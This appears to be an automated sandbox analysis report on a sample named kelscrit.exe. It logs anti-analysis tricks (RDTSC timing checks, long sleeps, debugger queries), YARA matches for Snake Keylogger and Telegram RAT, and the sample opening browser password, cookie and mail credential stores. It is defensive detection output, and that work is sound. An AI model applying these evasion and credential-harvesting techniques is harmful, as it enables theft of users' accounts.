Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\kelscrit.exe	API/Special instruction interceptor: Address: 661AC76
Source: C:\Users\user\Desktop\kelscrit.exe	API/Special instruction interceptor: Address: 399AC76

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\kelscrit.exe	RDTSC instruction interceptor: First address: 65EFC71 second address: 65EFC71 instructions: 0x00000000 rdtsc 0x00000002 cmp eax, ebx 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F50C910E04Bh 0x00000008 test dh, FFFFFFA5h 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d jmp 00007F50C910E08Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kelscrit.exe	RDTSC instruction interceptor: First address: 396FC71 second address: 396FC71 instructions: 0x00000000 rdtsc 0x00000002 cmp eax, ebx 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F50C8EBCDDBh 0x00000008 test dh, FFFFFFA5h 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d jmp 00007F50C8EBCE1Ah 0x0000000f rdtsc

Source: C:\Users\user\Desktop\kelscrit.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Memory allocated: 376B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Memory allocated: 396B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598859	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598311	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596764	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596655	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 594547	Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe	Window / User API: threadDelayed 1225			Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Window / User API: threadDelayed 8624			Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\kelscrit.exe

API coverage: 0.7 %

Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6308	Thread sleep count: 1225 > 30	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6308	Thread sleep count: 8624 > 30	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -598859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -598750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -598641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -598531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -598422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -598311s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -597859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -597750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -597641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -597531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -597312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -597094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596764s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596655s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -595125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -595016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -594891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -594766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -594656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe TID: 6280	Thread sleep time: -594547s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_004068D4 FindFirstFileW,FindClose,	0_2_004068D4
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C83
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_00402930 FindFirstFileW,	4_2_00402930
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_004068D4 FindFirstFileW,FindClose,	4_2_004068D4
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405C83

Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598859	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598311	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596764	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596655	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Thread delayed: delay time: 594547	Jump to behavior

Source: kelscrit.exe, 00000004.00000002.2923333214.0000000007288000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: kelscrit.exe, 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $tqEmultipart/form-data; boundary=------------------------8dd14d03d71ef37<
Source: kelscrit.exe, 00000004.00000002.2923333214.00000000072DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: kelscrit.exe, 00000004.00000002.2923333214.00000000072DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW796be679
Source: kelscrit.exe, 00000004.00000002.2944271732.0000000037842000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $tqEmultipart/form-data; boundary=------------------------8dd14fa72900cf5<

Source: C:\Users\user\Desktop\kelscrit.exe	API call chain: ExitProcess graph end node			graph_0-15106
Source: C:\Users\user\Desktop\kelscrit.exe	API call chain: ExitProcess graph end node			graph_0-15256

Source: C:\Users\user\Desktop\kelscrit.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

Code function: 4_2_3A059548 LdrInitializeThunk,

4_2_3A059548

Source: C:\Users\user\Desktop\kelscrit.exe

Code function: 0_2_6F951BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6F951BFF

Source: C:\Users\user\Desktop\kelscrit.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

Process created: C:\Users\user\Desktop\kelscrit.exe "C:\Users\user\Desktop\kelscrit.exe"

Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe	Queries volume information: C:\Users\user\Desktop\kelscrit.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

Code function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403552

Source: C:\Users\user\Desktop\kelscrit.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kelscrit.exe PID: 5756, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\kelscrit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\kelscrit.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000004.00000002.2944271732.00000000377B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kelscrit.exe PID: 5756, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2944271732.00000000376B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kelscrit.exe PID: 5756, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000004.00000002.2944271732.000000003782E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
